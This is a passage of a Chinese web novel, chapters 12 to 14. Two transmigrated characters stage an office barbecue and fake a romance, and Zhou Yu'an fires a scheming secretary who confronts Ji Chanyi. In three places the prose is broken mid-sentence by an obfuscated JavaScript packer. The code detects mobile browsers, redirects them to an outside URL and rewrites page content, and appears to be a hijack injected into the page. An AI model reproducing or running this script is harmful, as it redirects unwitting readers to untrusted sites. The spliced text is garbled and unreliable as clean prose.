他对住的地方要求不高,有个沙发睡就够了,没必要再专门收拾一间屋子。 季蝉衣见周予安本人都这么随意,也逐渐歇了收拾客房的念头,因为她这人犯懒起来也确实懒,对收拾房间这件事既不热衷也不感兴趣,周予安觉得无所谓,那她正好也就不费这个力了。 于是周予安就这么在他的专属小沙发上暂时安置下来。 两个人和谐相处又互不打扰,堪称是最佳吃烧烤喝啤酒打游戏搭子。 12. Chapter12. 周末在家宅了两天,转眼又到了工作日。 季蝉衣家里是开连锁酒店和大型连锁超市的,产业被平均分成了两份,一份现在由季蝉衣的哥哥打理,另一份在季蝉衣名下。虽然说是有季蝉衣的一半,但其实季蝉衣就是个甩手掌柜,那些业务全扔给了她哥哥,她只需要名义上“上班”,然后坐等收钱就够了。而且她脑袋撞到之后,她爸爸妈妈和哥哥心疼的不行,更不舍得让她累到一点,所以现在季蝉衣连装样子都不用,平常有大把的空余时间。 但周予安就不一样了,他家里只有他自己,家里的那些产业以后都是要交到他手上的,所以周予安除了刚搬进来的那几天过得无忧无虑无法无天之外,其余的时间还是要按时上下班。 季蝉衣对此表示惊奇:“行啊瓜总,你竟然真的能安安稳稳的上班,而且还能瞒住所有人?” 最近季蝉衣偶然间看到了周予安的某个音乐账号的名字,就叫“他的西瓜皮好美”,季蝉衣对此非常感兴趣,研究这个名字研究了很久,觉得这个昵称简直和自己的昵称“玻璃城堡激发生鱼片”一样有格调,于是为表示尊敬,她不叫周予安为“安总”了,改叫他“瓜总”。 按理来说不同的公司经营的业务也不同,就算是之前周予安家里是开公司的,刚来到这里肯定也会因为业务和环境不同而没办法很好的融入进来。但周予安竟然刚来不久就能胜任不同的工作,而且还没有被人发现不对。 季蝉衣不知道脑补了什么,又说:“话说小说里对这种执行总裁的描述大多数都是红眼掐脖,什么刀削般的下颚线啊、京圈佛子啊、一身烟草味味啦、动不动就胃疼啊等等,你这有点……”她上下打量了周予安一眼,实在是没办法把周予安和京圈佛子联系在一起,光是想想周予安冷漠的壁咚人的样子季蝉衣都有种强扒邻家弟弟纸尿裤的罪恶感,“你这实在是有点大相径庭啊。难道你的助理和下属都没有注意到你有什么不对吗?难道你不会做出漏洞百出的决策吗?” “……?”周予安道,“首先,我确实有下颚线,但不多;其次,不管是京圈佛子还是饭圈佛子还是京圈狒子我都不感兴趣;然后,我不抽烟。毕竟我可是很惜命的,珍惜生命,远离烟草;最后,我胃很好,通过经历你无数失败菜品毒打但依然□□这件事可以看出来,我的胃甚至比一般人的可能还要好。至于最后你说的嘛,小说里都是骗人的,又帅又全能又能在百忙之中抽出大把的时间爱女主的叫才能叫总裁,而一般总裁是言情小说特有的珍稀物种,我们这种的只能叫企业家。现实中对企业家的要求没那么多,我们不仅可以做很多不正确的决策,甚至可以搅黄项目而不会被骂死,放松点,在生死面前这些全是小事,就算是我搅黄了所以的项目,甚至是公司破产了也不会怎么样,明天太阳还是会照常升起——”周予安严谨的补充,“当然了,雨天除外。世界不会因为一个人做了什么错事就爆炸,同样的,我也不会因为自己犯了什么错误就会被拉去浸猪笼。” 季蝉衣一脸“受教了”的模样:“你这人生态度倒真是让我耳目一新,听多了毒鸡汤了,忽然听见你这种草台班子理论还真有点不适应。” 周予安谦虚道:“多习惯习惯就好了。” 季蝉衣想了想,摇了摇头,随口笑道:“不过说不定真的就和你说的那样,咱们并不是无缘无故被选进来的,说不定正是因为和原主的性格什么的各方面都比较匹配,所以咱们进来之后,就如同一面墙上随便一块不起眼的砖头一样自然,我们严丝合缝的卡在其他砖头中间,大家就像是照常生活的其他砖头,因为形状完全契合,所以不会有任何人发现我们其实已经不是原来的砖头了。” 听了季蝉衣的“砖头”理论,周予安垂下眼皮,眉梢眼角隐匿在阴影中,看不出眼底的神情。他的嘴角似乎微微扬起,但声音却不咸不淡:“是吧。” 季蝉衣也只是小小好奇了一下,没有深究。那天两个人一起吃过早饭之后,季蝉衣依然像往常一样目送周予安离开。 等人走后,房间里就只剩下季蝉衣一个人。她追了会剧,一时间觉得有些无聊起来。 平常周予安在的时候,两个人不管是追剧还是打游戏都能玩得尽兴,不知道是不是已经逐渐习惯了眼皮底下有另外一个人晃悠,季蝉衣忽然间觉得好像哪哪儿都无趣起来。 打游戏没什么意思,一个烧烤更觉得无聊,追剧也提不起兴致……总之好像一个人干什么都索然无味。 季蝉衣靠着沙发发了会呆,抱枕和外透凌乱的堆在脚边,房间里一切都静悄悄的,清晨的阳光透过窗帘照进房间,一切都那么的安静、那么的形单影只。 季蝉衣揉了揉脑袋,不知道自己怎么也忽然开始多愁善感起来……难不成是因为她快要来姨妈了,所以受到了激素波动的影响? 还真有这种可能……季蝉衣胡思乱想了一会儿,终于起身决定给自己找点事做。 简离又去其他省出差了,她哥哥在上班,父母也旅游去了,好像除了周予安之外,她也没有其他什么很想见的人了。 季蝉衣花了两秒就干脆地决定去周予安公司看看。 她快速的收拾了一下,然后给周予安打了个电话,提前告诉周予安自己要去他公司看看,但也只是随便转转,让周予安好好工作,别被自己影响。 之前周予安就和她提过,说她自己一个人在家呆的无聊了可以去公司找他,那时候季蝉衣没当回事儿,毕竟季蝉衣这辈子最不愿意参观的地方就是公司,不管是谁的公司她都不感兴趣。但没想到世事无常,这还每一个月呢,她就主动想去了。 周予安把公司地址发给了季蝉衣,嘱咐她进去之后直接和前台的员工说一声,会有人带她上去的。又问季蝉衣要不要他叫个司机去接她。 这些天只要出去,不是周予安开车带着她就是简离带着她,她已经很久没有自己开过车了。 周予安怕她不想开车,又担心她太久没开了手生,但季蝉衣倒是大言不惭的拒绝了。 她确实已经很久没有开车了,去地下车库的时候,都有点想不起来自己上次把车停在了哪里。找了两圈才终于在一众型号各异的车子里找到了自己那辆不起眼的SUV。 周予安的公司离家不近不远,不堵车的时候,周予安上下班通勤大概得二十分钟,季蝉衣开得慢点,半个小时才把车停在了周予安的公司楼下。 周予安家里是做风投的,买下了市中心地标建筑旁边的写字楼用作公司总部。季蝉衣不太感兴趣,对周予安具体在做什么也了解的不多。 到了地方之后,她在保安的指引下停好车,然后扶正自己的墨镜,拿着包下了车。 季蝉衣走到公司大门前,抬头看了一眼高耸入云的大厦,轻轻吐出一口气,摘掉墨镜放进包里,看起来十分贵气且气场强大,不像是来逛逛的,倒更像是来谈判或者是抓奸的。 气场强大的季蝉衣看着金光闪闪的“锐启资本”四个大字,一时间脸上如同扇形统计图一般缓缓化成三份,一份讥笑一份高傲一份漫不经心。身边的保安被季蝉衣这霸道总裁标准笑容吓得不敢大声喘气,还以为季蝉衣心里在计划着什么合作大计,殊不知季蝉衣面上高傲,心里则扶额做霸总样笑——死公司,真是个阴魂不散的小妖精,就算是在小说世界对牛马来说也这么的无孔不入,真想把你狠狠给办了。 原本季蝉衣对公司就只有赶尽杀绝的憎恨,没有一丝手下留情的仁慈。要是放在以前,她的怨气可以把整个公司发射到太平洋且不改变任何性状,只要是公司,不管是好的还是坏的她都想统统发卖,但今天她已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527478|203583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经不再是当初的苦命牛马,她已经变成了小说里可以随意给命的高级牛马,所以区区小公司她完全不放在眼中——毕竟她可以嫡女主,这是男配的庶公司。按照小说里的等级制度,嫡女主可以狠狠发卖庶公司。 进去之后,季蝉衣和前台的工作人员说了一声,对方很快笑道:“周总已经提前通知过我们了,请跟我来,我带您上去。” 季蝉衣礼貌的道了谢,跟着工作人员的脚布坐电梯一路去了周予安的办公室门外。 工作人员敲了敲门,听见周予安隔着门说了一声“进”之后,才把门打开了。不过工作人员自己站在门外没动,只是笑着和季蝉衣说:“季小姐请进吧。” 季蝉衣“哦”了一声,道了谢,抬脚进去了。 工作人员贴心的关上了门,房间里面就只剩下了季蝉衣和周予安。 周予安正窝在老板椅里舒舒服服的喝咖啡,见季蝉衣过来,冲她挑了挑眉,像是季蝉衣她大婶种地种到一半坐在地头边啃着窝窝头边热情地和她打招呼一样朝她笑:“来了?” 季蝉衣走近了才看见周予安的办公桌旁还放着很多东西,有烧烤架,一堆放在箱子里的小木炭,几个小瓶装的调味品,还有装在锡纸里被处理好的各种肉串和蔬菜。这些东西和这个装潢奢华的办公室格格不入,就好像一个露馅的饺子皮和拍一下会发光、拍两下会发出不同颜色的光、拍三下还会唱歌的库洛米造型的小夜灯一样大相径庭。 季蝉衣瞪大眼睛,脱口而出道:“你这是干嘛?准备转行做农家乐了?” 周予安轻啜一口咖啡,一脸悠然:“专门为你准备的,怎么样,够意思吧?喏,这小冰箱里还有几瓶冰啤酒和冰可乐。” 季蝉衣咽了咽口水,早上她就没怎么吃,现在看见这些令人垂涎欲滴的食材,光是想象它们的味道季蝉衣都有些受不了:“我去,啥也别说了,给我吃上一口,我现在就愿意一掀衣角就跪下和你拜把子。” “嗯……还真可以,到时候咱们以肉串做信物,不求同年同月同日生,但求衣姐可以长命百岁。” “拜把子是这么拜的?你要是这样搞,张飞他们都得从地里钻出来揍你一顿。而且为什么只求我长命百岁?瓜总,咱们都要长命百岁。” 隔了一会儿,周予安带着零星笑意的声音才不轻不重的传来:“我嘛,倒是对长命百岁没那么渴望,要是你能长命百岁,那我英年早逝也没关系。” 季蝉衣正蹲下哼哧哼哧的把木炭放进烧烤架里点燃,闻言顿时有点不乐意了,皱着眉道:“呸呸呸,大上午的说什么晦气话?以后不许开这种玩笑,快呸呸呸,然后拍拍木头。” 周予安没动,还是季蝉衣催着他,他才笑眯眯的顺从的敲了木头。 木炭很快热起来了,两个人手动把烤串放到炽热的烧烤架上。 季蝉衣很快就和周予安小酌上了,她也是没想到两个人的烧烤事业还能做大做强,一路从家里转移到了周予安的公司里。 两个人碰了杯,吃的不亦乐乎。周予安让人买的是无烟木炭,虽说是无烟,但点燃了之后其实还是会有点的。季蝉衣恰好在风口,一不小心就被烟呛得直咳嗽,周予安就用小扇子先把烟雾扇开,然后起身过去把窗户全部打开了,那点烟雾被风一吹,这才彻底散去。 周予安递给季蝉衣一块湿毛巾,季蝉衣边擦脸边道:“谢了啊,瓜总还是这么贴心。不过你还真别说,换了个场景烧烤还真是有点不一样的感觉,尤其是在办公室这种听起来无比严肃的地方烧烤就更有感觉了……这难道就是办公室的诱惑吗?” 周予安:“?” 周予安:“好色情。” 季蝉衣:“?” 季蝉衣:“真敢想。” 两个人隔着烧烤架击了下掌。 13. Chapter13. 两个人酣畅淋漓的吃了顿自制烧烤,周予安抬起手腕看了眼时间,正好也快到开会的点了。 他和季蝉衣说了一声,又问:“对了,要不要我带你在公司里转转?你认认地方,让大家也认认你,到时候你再进来就没有不知情的人会拦你了。” 季蝉衣摆摆手,没把这话放在心里:“算了吧,没这个必要。毕竟像‘公司’这种挨千刀的地方我肯定是能少来就尽量少来的,估计我以后也不会经常来,今天就是突发奇想想来找你才过来了。” “也是,既然你不想出去,那就先在我办公室里休息一会儿吧。要是困了可以在沙发上休息,办公桌的抽屉里有游戏机,柜子里也有零食。有什么需要的直接给张特助打电话,桌子上有座机。这些烧烤架之类的东西我一会儿叫人过来收拾,你要是想吃了,也直接叫张特助就行。” “哦,好啊。” 周予安想了想,又说:“柜子里有一些手工小玩意儿,要是无聊了你也可以过去玩一玩。” “那我就不客气了。话说你这办公室里没什么机密文件之类的东西吧?万一一会我突发奇想想拿纸折纸飞机,一不小心用了你深藏已久的绝密文件,你应该会顾念咱们的知音之情,不至于即刻就把我发射到外太空吧?” “当然不会了。” 季蝉衣正要感叹,就听见周予安又慢悠悠的补充:“……没这么温柔。” “……” 周予安眉眼忍不住弯了弯,不再开玩笑:“放心吧,这里面没什么绝密文件,而且就算有也没事,你想干什么直接干就行——除了杀人放火强抢民男。” “瓜总你这说的是什么话?——你太了解我我也是要锤你的。” 两个人插科打诨了一会儿,办公室的门忽然被敲了敲,周予安敛了一下脸上的笑意,淡声道:“进。” 办公室的门被打开,恰好周予安正站在门边,一个小姑娘端着咖啡慌慌张张的进来,猛然一见到周予安,差点把咖啡倒在他身上。 小姑娘立刻绽放出一个漂亮的笑容:“周总,您的咖啡。” 周予安皱了皱眉头:“怎么是你?张特助呢?” 小姑娘连忙解释道:“这是明秘书让来的,我想着周总你开会之前都会习惯性的喝杯咖啡,所以就帮你带了一杯,里面按照您的口味没加糖,加了双份牛奶。明秘书让我来问一下……” 说着说着,小姑娘忽然停下了,瞪大眼睛看向从周予安身后好奇的冒出头的季蝉衣,一脸被雷劈了的震惊表情。 季蝉衣刚刚被周予安挡住了,本来想看看发生了什么事,没想到那小姑娘看见她之后就指着她抖抖抖抖了半天都说不出一句完整的话,季蝉衣头顶缓缓冒出一个问号:“怎么了?” 那个小姑娘一抖,咖啡全倒在了周予安身上。 周予安:“……” 季蝉衣:“……” 小姑娘一见自己闯了祸,眼睛里立刻蓄满了泪水,手忙脚乱的拿好杯子,可怜巴巴的说:“对、对不起,周总我不是故意的,是因为、因为看见了这位小姐被吓到了所以没拿稳……” 季蝉衣:“?” 怎么还有她的事儿? 这小姑娘似乎演上瘾了,一边楚楚可怜的抹眼泪一边频频娇羞的看向周予安,像是一个受惊的小白兔……季蝉衣冒出这个想法后,自己都乐了,心道“受惊的小白兔”——好小说的描写。 季蝉衣也跟着看向周予安,周予安面无表情道:“滚出去,以后别再出现在这里。” 那小姑娘似乎完全没想到周予安会是这么的个反应,一时间呆住了。 她还想再说些什么,周予安已经干脆利落关上了门,把那个小姑娘关在了门外。 季蝉衣“啧”了一声:“这就是小说里常见的笨蛋女主人设吗?这也太笨蛋了吧,看见一个人都能被吓一跳,一杯咖啡也端不稳……我很怀疑她的工作能不能做好啊。” 周予安也有些无奈:“很多人都是走关系进来的,有名无实,别说把工作做好了,能别给我添乱我就谢天谢地了。刚刚那个,”周予安说着,忍不住皱了皱眉,“应该是通过明依依进来的,真是一群……” 后面骂人的话他止住了,但季蝉衣看着他的表情,觉得周予安完全是用脸在骂人,那些话说不说都一样。 季蝉衣问:“明依依?这又是哪个角色?原文里出现过吗?” 周予安一顿,很快若无其事的说道:“应该没有吧,反正我没看见过。毕竟我在书中是个配角,那明依依就只能算是配角的配角了,我的戏份都不多,她的肯定就更不多了。” “也是,刚刚我就在想,这种姑娘应该在男主身边经常看到才是,没想到也会在没有花费太多笔墨描写的配角身边看到。这就说明原文中没有描写过的场景其实在现实世界的也是可能会发生的,看来那些没有写过的细节这个世界会自己填充布满,不仅让故事逻辑自洽,而且还会让这个世界显得更加真实生动。” “是啊。这个明依依是一个重要合作商的女儿,非得要来我们公司当秘书,我还能看不出来她在想什么。不过眼下暂时还没办法直接赶走她,毕竟现在合作还没结束,而且她也还没捅出让我不得不辞掉她的篓子,只能尽量把人放远一点,给她点无足轻重又琐碎的工作让她没空来烦我,眼不见心不烦,没想到她人是不见了,倒是又派了一堆虾兵蟹将过来挑事……” 季蝉衣忍不住笑了:“这不就是想吸引你的手段嘛。不过你这换衣服的姿势也太熟练了,怎么,难道之前经常被泼?” “这也被你看出来了?实不相瞒,之前我被泼咖啡的最高纪录是一天之内被泼了三杯,那天换衣服用尽了我此生最多的耐心。” 季蝉衣忍俊不禁:“那然后呢?” “然后?然后我就发了公告,说以后谁再往我身上泼咖啡,就把西服钱赔给我。我还特别贴心的标注出了我常穿的西服的价格。” “你那些衣服不都是从巴黎那边飞来老师傅私人定制的嘛?估计一件得顶他们半年工资了。还挺聪明的啊瓜总,这样一来是不是就没人敢往你身上泼咖啡了?” “是啊,不仅不敢泼咖啡,连看见我都开始下意识地避闪,再也没人敢靠近我的衣服半米之内,让我清净了很久。” “牛叉。” “还好只是泼湿了外套,换一件就行了,要不然又得把衬衣也脱了……好了,我准备去开会了,你先在这里等我一会儿吧,有事给我打电话。” “放心去吧,我等你凯旋。” 季蝉衣把周予安送出门,然后折身放松的躺在大沙发上,满足的喟叹一声。 她拿出手机开始打游戏,很快就投入进去。 与此同时,刚刚那个把咖啡泼在周予安身上的小姑娘小莹也一路抹着泪来到了秘书处,找到明依依之后,小莹的眼圈依然还红红的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527479|203583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 明依依皱了皱眉,问道:“这么这副样子,不是让你去问惊泉晚上有没有空吗?怎么样,他怎么说?” 小莹眨了一下眼睛,眼泪就滚下来了:“明姐,我按照你的吩咐去了,但是……但是……” 明依依听出小莹话里有话,有些不耐烦的说:“‘但是’、‘但是’,但是什么?有话就说,支支吾吾什么呢?” 小莹连忙咬着唇小声道:“但是我在周总的办公室里看见了另外一个女生……” 明依依皱起眉。 小莹小心翼翼觑了一眼明依依的脸色,继续说:“那个女生长得特别好看,看起来和周总关系不错,我进去的时候,两个人有说有笑的,我正要问周总晚上有没有空,结果他们却让我滚出去,可能是、可能是那个女生误会了什么吧……” 小莹说着,擦了擦眼泪,一脸委屈。 明依依的脸色果然一下子就变得奇差无比,她把手里的一沓资料重重地扔到地上,咬牙切齿的说:“什么误会不误会的,竟然敢在我的眼皮子底下作妖,不会真觉得自己凭借点姿色就能一步登天吧。好啊,我倒要亲自去看看是哪里来的小妖精!” 说着拿上自己的手机,瞪了一眼小莹:“走,你跟我一块去!” 小莹缩了缩脖子,没敢说话,连忙跟上明依依一起过去了。 明依依怒火中烧,一路火急火燎的来到了办公室门口,怒气值已经到达了顶峰。 见真要进去了,小莹还有些心虚,拉了拉明依依小声道:“依依姐,我们真的要进去吗?周总之前吩咐过,没有他的允许别人不能随便进去,而且万一屋里的女人来头很大怎么办?那咱们这么贸然闯进去周总肯定会饶不了我们的……” 明依依冷笑一声:“我又不是‘别人’!周予安的公司我有什么进不了的?我和你们可不一样。”她死死的盯着那扇门,咬牙切齿道,“再说了,一个不知道从哪里窜出来想要勾引人的贱人而已,如果惊泉真放在心上,怎么可能会一声不响的藏在办公室里?如果这个女人对他真这么重要,他早就带出来给这个女人立威了,现在就这么一声不吭的把人扔在这里,摆明了根本不在意!” 明依依恨得要命,就连她自己都没有在这个办公室呆过太久,竟然有另外一个人敢这么堂而皇之的进去?!还敢让她的人滚!真把自己当回事了,她今天一定得给这个女人一个教训,让她知道谁才是公司的女主人。 明依依一直觉得自己才是周予安心里最独特的那个,虽然她是因为自己强烈要求才进来给周予安当秘书的,但如果周予安对她一点感觉也没有的话,怎么可能还会一直让她呆在这里? 再说了,她自诩自己也算漂亮,身材好,学历也高,周予安没什么理由不对她动心。她是周予安所有秘书里唯一一个女生,这不就证明了她在周予安心里与众不同吗? 所以明依依一直特别得意,也一直觉得自己的身份不一般。 今天忽然听见有人敢威胁她的地位——光是听着小莹的描述她就怒不可遏,再加上某些自己的脑补,房间里面的人已然被她塑造成了一个最会矫揉造作装模作样的绿茶,当然就更加怒火中烧,恨不得立刻向那个假想敌证明自己的地位和身份,将人除之而后快。 明依依一把推开办公室大门,门撞到了墙壁,发出砰然巨响。明依依一脸怒色的走了进去,一下子就和窝在老板椅里滋滋润润打游戏的季蝉衣对上了视线。 14. Chapter14. 周予安走的时候让季蝉衣别客气,所以季蝉衣也就真的没客气。 这不过短短十几分钟的时间,桌子上已经堆满了依次打开的零食,周予安抽屉里的各种摆件和打发时间用的手工玩意儿也全被她翻了出来。桌子上一片狼藉,地上还摆着烧烤架和各种烤好的没烤好的食材……明依依的眼神从桌上移到地下,再从地下移到沙发上,表情由恼怒变成怒上加怒,看她的表情,恨不得立刻扑上去打季蝉衣一巴掌,眼睛里几乎可以喷出火来。 小莹看见季蝉衣这副已然把办公室当成自己家的模样,诧异过后也是一脸阴沉。 季蝉衣正好结束一把战斗,看两人这一个堂而皇之的怒火一个隐忍不发的怒意,一时间有些发懵:“怎么了你们?我刚刚不过是因为队友的操作太菜气急了才骂的有些难听,不会真顺着网线过来追杀我了吧?” 明依依:“……” 明依依的视线在办公室里转了一圈,最后落在某个地方,脸色骤然变了,尖声道:“那是我送周予安的金蟾蜍!你竟然敢把雪饼和辣条放在蟾蜍的背上!你是谁?谁准你进来的!” 季蝉衣看了一眼明依依说的蟾蜍,她确实顺手往上面放了两块没吃完的雪饼和几根辣条。 季蝉衣一脸莫名:“我就放一下而已,你要是不喜欢我再拿下来就是了,没必要发这么大的脾气吧?” 明依依的视线又巡视一圈,看见季蝉衣拆掉了周予安在某个企业家大会上得到的一个含金量颇高奖杯砸核桃,脸色顿时一阵发青:“……你、你竟然把周予安从不让任何人碰的奖杯拆了,你不知道他不准任何人拿这个奖杯吗?!” 季蝉衣看了一眼手边的奖杯,上面砸核桃已经砸出来了一道豁口,她更加莫名其妙:“你说什么呢?这是周予安自己给我让我砸核桃的啊,他说用门挤太麻烦了,被人看到也不好,就顺手给我这个奖杯了。干嘛,一个破奖杯而已,没必要这么激动吧?还是说这奖杯之前救过你的命?” 明依依气的都快撅过去了,周予安从不许任何人碰的东西,到季蝉衣这里好像就是一个无足轻重的工具,那么的随意,那么的不在乎。 就像是别人绞尽脑汁都得不到的东西,对季蝉衣来说全都唾手可得。她有些喘不上气,但她却不愿意承认在周予安心里或许季蝉衣才是真正特殊的那个,更加愤怒道:“你究竟是谁?我告诉你,周予安有喜欢的人了,那就是我。你别以为自己在他的办公室里呆一会就多么的厉害了,我最讨厌的就是你们这种插足别人感情的女人……” 季蝉衣听到这里才恍然大悟,好的,敢情又是爱而不得的女配。得不到周予安,不去他那里作天作地反而过来为难自己。 季蝉衣又重重地躺回了老板椅上,还用脚蹬跶着转了个圈,嘴里有一下没一下的说:“哦,那你过来打死我吧。” 明依依:“……” 明依依气的小脸通红:“你无耻!” “谢了,我还下流呢。” “……” 明依依气的想拿东西砸季蝉衣,找了半天没找到合适的,怒气冲冲的转头和小莹说:“去!给我把周予安叫过来!我倒要让他看看这个女人的真面目!” 小莹喜上眉梢,答应一声就赶紧去了。 明依依看见季蝉衣这不当回事的样子就来气,心说一会一定叫你好看! 没一会儿,小莹就一脸做作的哀伤回来了,她趴在明依依耳边,生怕季蝉衣听不见似的用不算很小的音量说:“周总原本没打算过来的,但一听您和这女人起了争执,立刻就过来了,就在后面,应该马上就来了。” 明依依一听,立刻挑衅的看向季蝉衣,一脸得意。 季蝉衣则无奈的摇了摇头,逼着自己赶紧进入状态。 接下来就是showtime——炮灰女n号正面对战给命女主,第一场第一幕,action! 周予安不止是自己一个人来的,身后还跟着一众高管,看大家脸上显而易见的茫然的表情,显然是开会开到一半就被叫出来吃瓜了。 季蝉衣心说,真叫你们赶上好时候了,像她们小时候哪有这么好的条件吃到这么新鲜的瓜? 看见周予安,明依依翻脸如翻书般换了一个表情,刚刚暴怒的表情立刻风卷残云般换成了委屈巴巴的模样,可怜的和周予安哭诉:“予安哥哥!你可算来了,你不知道刚刚你不在的时候这个女人是怎么羞辱我的,小莹可以作证,是吧?她刚刚竟然……” 季蝉衣一听这话就立刻了然了,好好好,她就知道必然会有这一遭,女配的陷害、小人的偷天换日乱传情报以及围观群众的推波助澜,这一切到底是人性的沦丧还是道德的扭曲,请收看今日说瓜。 季蝉衣和周予安对视一眼,又都迅速移开视线——两人都知道越是这种时候越不能看对方的脸,要不然任何一个细微的表情都可能导致演技的崩坏。他们怕对方演崩,更怕自己演崩。 周予安连听都懒得听完,他面无表情的打断明依依的絮叨:“谁准你进来的?” 明依依:“?” 明依依脸上有点挂不住,大声质问道:“这个女人不也进来了吗?” 周予安:“?” 周予安:“她是她,你以为你算什么东西?” 明依依:“……” 明依依万万没想到周予安会这么直白,她原本还以为就算是周予安知道她是在无理取闹也会看在双方的合作上不会当众让她难堪。 更何况现在当着这么多人的面……明依依脸上过不去,一时间心里又羞又气,小脸憋得通红,却急得更加不知道该说什么。 见大家沉默下来,小莹也不知道脑子是怎么想的,非得在这个时候找存在感,让周予安觉得自己特别:“周总,依依姐也是为了您着想。您看这个女人把您的办公室弄得一团乱糟,您最喜欢的奖杯和依依姐送您的那个……” “你又是什么东西?” 小莹瞬间愣住了,她本以为周予安只是这么对明依依说说,不会真的对明依依怎么样的,毕竟她也知道明氏和周予安有合作。小莹觉得自己抓住了机会,现在周予安需要一个可以顺着下的台阶,而她第一个出声之后还可以在明依依那里讨到好,到时候两个人肯定都对她刮目相看……但小莹还没为自己有眼力见有头脑沾沾自喜完,周予安冰凉的话语顿时让她的脸色也变得和明依依一样难堪。 周予安的视线巡视过大家,最后定格在小莹身上,就在小莹还天真的以为周予安刚刚只是虚晃一枪,其实果然对自己有了什么想法的时候,就听见周予安淡漠的说:“早上故意往我身上泼咖啡的就是你吧?一口一个‘依依姐’,怎么,你和明依依很熟?” 小莹不明所以的喜悦还没来得及表现在脸上,就听见周予安厌烦的说:“我最恶心的就是这种下三滥的手段,你被解雇了。离职交接的时候别忘了把西服钱赔上。” 小莹仿佛被人迎面扇了一巴掌,顿时面如死灰。 这时候,小莹的小姐妹看不下去了,即便是顶着周予安的盛怒也要为自己的小姐妹说话,季蝉衣都不知道这是人设还是真傻了:“周总,小莹她……” 周予安面无表情的打断:“你也被解雇了。” 小姐妹:“?” 周予安面无表情的巡视一圈,那眼神表达的意思很明显——还有谁? 就在季蝉衣以为场面都已经这样了就肯定不会有人的时候,没想到只有她想不到的没有笨蛋人设做不出的,始作俑者明依依依然□□着开了口:“周……” 周予安:“你也被解雇了。” 明依依:“?” 周予安的视线扫过众人,语气冰凉:“我推掉两个会议赶过来,不是想听你们指责蝉衣的。以后再敢让我听见一句类似的话,全部收拾东西滚去财务领赔偿。没什么事情的话,就别在这里打扰蝉衣休息了。” 言下之意就是,所有人都可以就此给季大人跪安了。 几个高管最有眼力见,闻言你看看我我看看你,立刻边利落的答应着边仿佛什么都没看见一般一言不发的悄悄溜走了。 其他人也陆续离开,小莹脸上还挂着泪痕,这下是真的心死了,再也不敢在这里搬弄是非,和自己的小姐妹互相搀扶着狼狈的离开了。只有明依依在离开之前还不忘恶意满满的怒瞪了季蝉衣一眼,而季蝉衣则一脸无奈的摊了摊手。天杀的,这么看着她干嘛?她从头到尾都没说过几句话的好不好? 等人全部走了之后,季蝉衣才长舒一口气,情真意切的感叹:“……终于都结束了,真是一场不折不扣的闹剧啊。感觉在场的每个人都在忙,但又不知道在忙什么,就和我的人生一样。” “好客观的评价,谁说世界上没有真正的感同身受。” 季蝉衣乐了,乐完之后,又想到了什么,说道:“不过现在都没有男主在场,咱们就直接开始炒cp了么?这样会不会影响你在公司的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527480|203583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声誉啊?” 周予安停顿了一下,很快笑道:“哦,这不是防范于未然、做戏做全套嘛,咱们演的越逼真越细致,主角团肯定就会信的越快。如果咱们真的只在陆靳面前演,其他时候都放飞自我,那么他稍微一查就能查出不对劲。你看现在,全公司的人都觉得咱们有一腿了,就算到时候陆靳去查,也只能查出今天我为博美人一笑不顾他人眼光的八卦。” “高,实在是高,还得是瓜总高瞻远瞩,有远见啊。” “彼此彼此,要是今天没有衣姐的迅速反应和灵活配合,就算我演出来也漏洞百出。” “得,再这样下去咱们估计又要开始互相虚伪的拍马屁了。不过虽然咱们只是演戏,但我还是挺感慨的。” “怎么?” “唉,我刚刚试着代入了一下,假如现在是真正的男女主经历这件事,那么估计光凭借这件小事就能扯出无数章的爱恨情仇,虽然明依依挑拨离间的手段很低级,但如果男女主没有像你和我一样这样坚定不移的相信对方,那他们心里还是有可能会因为这件微不足道的小事生出猜忌和怀疑,然后猜忌越来越多,裂缝越来越大,直到最后分崩离析……其实也不止是男女主啦,我感觉很多小说的男女主都是这样,他们之所以会产生虐恋情仇,最主要的愿意还是太容易受到其他人的挑拨——其实归根结底也就是不够信任对方。” 季蝉衣想了想,又摇了摇头:“不过又有多少人能像我们这样拥有这种得天独厚的条件呢?如果我们不是来自从一个世界,拥有同种思想,所以可以毫不保留的信任对方,那么我估计也会患得患失……现在我也不过就是只能马后炮一下了。” 周予安静静的看这季蝉衣,很久才移开视线,平静的说:“这样或许是因为还是不够爱吧,在我的想象中,如果我真的爱一个人,那么她说什么我都愿意相信,她做什么我都会原谅。” 季蝉衣原本也只是随口一说,并不想继续追究下去,思绪不知不觉又飘远了,打了个哈欠问:“你还回去开会吗?” 周予安移开了视线,笑眯眯地说:“不开了,改线上了。一会儿我就在办公室里开会就行。” “哦,那我还要回避一下吗?” “不发出声音就行,反正摄像头也不会对准你。” 